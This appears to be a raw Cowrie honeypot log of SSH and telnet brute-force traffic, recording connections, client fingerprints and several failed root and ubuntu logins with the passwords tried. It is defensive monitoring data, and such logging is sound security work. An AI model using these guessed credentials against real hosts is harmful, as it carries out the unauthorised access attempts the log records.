"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:10.943794Z","src_ip":"147.45.197.250","session":"835bdfc93350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"summer","message":"login attempt [root/summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:11.231694Z","src_ip":"147.45.197.250","session":"835bdfc93350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:12.329852Z","src_ip":"147.45.197.250","session":"835bdfc93350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.97541427612305,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:15.098893Z","src_ip":"192.119.13.58","session":"09da7d2c32b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36344,"dst_ip":"10.17.0.5","dst_port":23,"session":"9043829c446f","protocol":"telnet","message":"New connection: 192.119.13.58:36344 (10.17.0.5:23) [session: 9043829c446f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:15.698513Z"}
{"eventid":"cowrie.session.closed","duration":44.65643382072449,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:18.848008Z","src_ip":"192.119.13.58","session":"2e1527ac76cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.96410322189331,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:19.151225Z","src_ip":"192.119.13.58","session":"fffe3fd52960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58314,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f8718bbed1","protocol":"telnet","message":"New connection: 192.119.13.58:58314 (10.17.0.5:23) [session: 62f8718bbed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:19.778712Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33694,"dst_ip":"10.17.0.5","dst_port":23,"session":"41ca18b67434","protocol":"telnet","message":"New connection: 192.119.13.58:33694 (10.17.0.5:23) [session: 41ca18b67434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:20.646035Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37604,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce2d61cfbe20","protocol":"telnet","message":"New connection: 192.119.13.58:37604 (10.17.0.5:23) [session: ce2d61cfbe20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:21.646942Z"}
{"eventid":"cowrie.session.closed","duration":47.47493124008179,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:24.490182Z","src_ip":"192.119.13.58","session":"d44011f4e2e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.90853500366211,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:25.306666Z","src_ip":"192.119.13.58","session":"44d2240a27b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56036,"dst_ip":"10.17.0.5","dst_port":23,"session":"67f6c6a3eb20","protocol":"telnet","message":"New connection: 192.119.13.58:56036 (10.17.0.5:23) [session: 67f6c6a3eb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:26.038932Z"}
{"eventid":"cowrie.session.closed","duration":0.00546717643737793,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:26.044244Z","src_ip":"192.119.13.58","session":"67f6c6a3eb20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.586755990982056,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:28.246274Z","src_ip":"192.119.13.58","session":"e631e71a50c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.12374758720398,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:29.137184Z","src_ip":"192.119.13.58","session":"416fa6c9f540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36638,"dst_ip":"10.17.0.5","dst_port":23,"session":"59e1aeda8d67","protocol":"telnet","message":"New connection: 192.119.13.58:36638 (10.17.0.5:23) [session: 59e1aeda8d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:29.202380Z"}
{"eventid":"cowrie.session.closed","duration":33.514798402786255,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:36.224716Z","src_ip":"192.119.13.58","session":"16238632d0fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":44002,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d72fc9e1d62","protocol":"ssh","message":"New connection: 49.51.73.108:44002 (10.17.0.5:22) [session: 7d72fc9e1d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:36.760534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:36.765983Z","src_ip":"49.51.73.108","session":"7d72fc9e1d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:36.834851Z","src_ip":"49.51.73.108","session":"7d72fc9e1d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zse4xdr5","message":"login attempt [root/zse4xdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:37.140746Z","src_ip":"49.51.73.108","session":"7d72fc9e1d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:38.213389Z","src_ip":"49.51.73.108","session":"7d72fc9e1d62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56946,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb651723d28","protocol":"telnet","message":"New connection: 192.119.13.58:56946 (10.17.0.5:23) [session: 1cb651723d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:39.956317Z"}
{"eventid":"cowrie.session.closed","duration":39.393789291381836,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:40.657912Z","src_ip":"192.119.13.58","session":"79af0f9b4e0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40674,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e40601bff2","protocol":"telnet","message":"New connection: 192.119.13.58:40674 (10.17.0.5:23) [session: 48e40601bff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:42.847901Z"}
{"eventid":"cowrie.session.closed","duration":44.38125824928284,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:44.106950Z","src_ip":"192.119.13.58","session":"bdc0e1cf6a30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":35880,"dst_ip":"10.17.0.5","dst_port":22,"session":"7358162f6ef2","protocol":"ssh","message":"New connection: 109.172.54.111:35880 (10.17.0.5:22) [session: 7358162f6ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:46.056304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:46.061431Z","src_ip":"109.172.54.111","session":"7358162f6ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:46.170851Z","src_ip":"109.172.54.111","session":"7358162f6ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123rty","message":"login attempt [root/qwe123rty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:46.471586Z","src_ip":"109.172.54.111","session":"7358162f6ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:47.574008Z","src_ip":"109.172.54.111","session":"7358162f6ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.37592315673828,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:48.794443Z","src_ip":"192.119.13.58","session":"fbfe3515da3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.027178049087524,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:49.874955Z","src_ip":"192.119.13.58","session":"48e40601bff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44304,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0013c1a5fac","protocol":"telnet","message":"New connection: 192.119.13.58:44304 (10.17.0.5:23) [session: f0013c1a5fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:50.471355Z"}
{"eventid":"cowrie.session.closed","duration":30.55215072631836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:52.198972Z","src_ip":"192.119.13.58","session":"ce2d61cfbe20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60542,"dst_ip":"10.17.0.5","dst_port":23,"session":"1084850b03e3","protocol":"telnet","message":"New connection: 192.119.13.58:60542 (10.17.0.5:23) [session: 1084850b03e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:54.389098Z"}
{"eventid":"cowrie.session.closed","duration":36.59224605560303,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:56.370838Z","src_ip":"192.119.13.58","session":"62f8718bbed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52376,"dst_ip":"10.17.0.5","dst_port":23,"session":"5264a622eada","protocol":"telnet","message":"New connection: 192.119.13.58:52376 (10.17.0.5:23) [session: 5264a622eada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:59.579179Z"}
{"eventid":"cowrie.session.closed","duration":47.08898401260376,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:02.787340Z","src_ip":"192.119.13.58","session":"9043829c446f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45558,"dst_ip":"10.17.0.5","dst_port":23,"session":"13b76a1edc39","protocol":"telnet","message":"New connection: 192.119.13.58:45558 (10.17.0.5:23) [session: 13b76a1edc39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:05.122538Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48952,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a8d0d3c914","protocol":"telnet","message":"New connection: 192.119.13.58:48952 (10.17.0.5:23) [session: b9a8d0d3c914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:05.957076Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57180,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8b92c2396e1","protocol":"telnet","message":"New connection: 192.119.13.58:57180 (10.17.0.5:23) [session: e8b92c2396e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:08.027756Z"}
{"eventid":"cowrie.session.closed","duration":47.72786855697632,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:08.373830Z","src_ip":"192.119.13.58","session":"41ca18b67434","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57480,"dst_ip":"10.17.0.5","dst_port":23,"session":"9808a556b529","protocol":"telnet","message":"New connection: 192.119.13.58:57480 (10.17.0.5:23) [session: 9808a556b529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:09.139867Z"}
{"eventid":"cowrie.session.closed","duration":42.115437030792236,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:11.317496Z","src_ip":"192.119.13.58","session":"59e1aeda8d67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51274,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae54b9856326","protocol":"telnet","message":"New connection: 192.119.13.58:51274 (10.17.0.5:23) [session: ae54b9856326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:13.607898Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57900,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f6c664ff17b","protocol":"ssh","message":"New connection: 193.32.162.145:57900 (10.17.0.5:22) [session: 9f6c664ff17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:21.292281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:21.302341Z","src_ip":"193.32.162.145","session":"9f6c664ff17b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54690,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc31064b45b4","protocol":"telnet","message":"New connection: 192.119.13.58:54690 (10.17.0.5:23) [session: dc31064b45b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:21.341913Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:21.402674Z","src_ip":"193.32.162.145","session":"9f6c664ff17b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123solana","message":"login attempt [ubuntu/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:21.782845Z","src_ip":"193.32.162.145","session":"9f6c664ff17b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56988,"dst_ip":"10.17.0.5","dst_port":23,"session":"06627242f01f","protocol":"telnet","message":"New connection: 192.119.13.58:56988 (10.17.0.5:23) [session: 06627242f01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:21.845008Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:22.887151Z","src_ip":"193.32.162.145","session":"9f6c664ff17b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39124,"dst_ip":"10.17.0.5","dst_port":23,"session":"29f6d8b3a9c1","protocol":"telnet","message":"New connection: 192.119.13.58:39124 (10.17.0.5:23) [session: 29f6d8b3a9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:24.154433Z"}
{"eventid":"cowrie.session.closed","duration":0.008577585220336914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:24.162723Z","src_ip":"192.119.13.58","session":"29f6d8b3a9c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":48552,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f1a9d8cf1bb","protocol":"ssh","message":"New connection: 46.19.67.181:48552 (159.203.135.109:22) [session: 7f1a9d8cf1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:24.699262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:24.705230Z","src_ip":"46.19.67.181","session":"7f1a9d8cf1bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:24.839401Z","src_ip":"46.19.67.181","session":"7f1a9d8cf1bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"misha","message":"login attempt [root/misha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:25.225678Z","src_ip":"46.19.67.181","session":"7f1a9d8cf1bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47052,"dst_ip":"10.17.0.5","dst_port":23,"session":"98fbb59cb0ec","protocol":"telnet","message":"New connection: 192.119.13.58:47052 (10.17.0.5:23) [session: 98fbb59cb0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:26.016083Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:26.356405Z","src_ip":"46.19.67.181","session":"7f1a9d8cf1bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50670,"dst_ip":"10.17.0.5","dst_port":23,"session":"b53935ebd01e","protocol":"telnet","message":"New connection: 192.119.13.58:50670 (10.17.0.5:23) [session: b53935ebd01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:26.820476Z"}
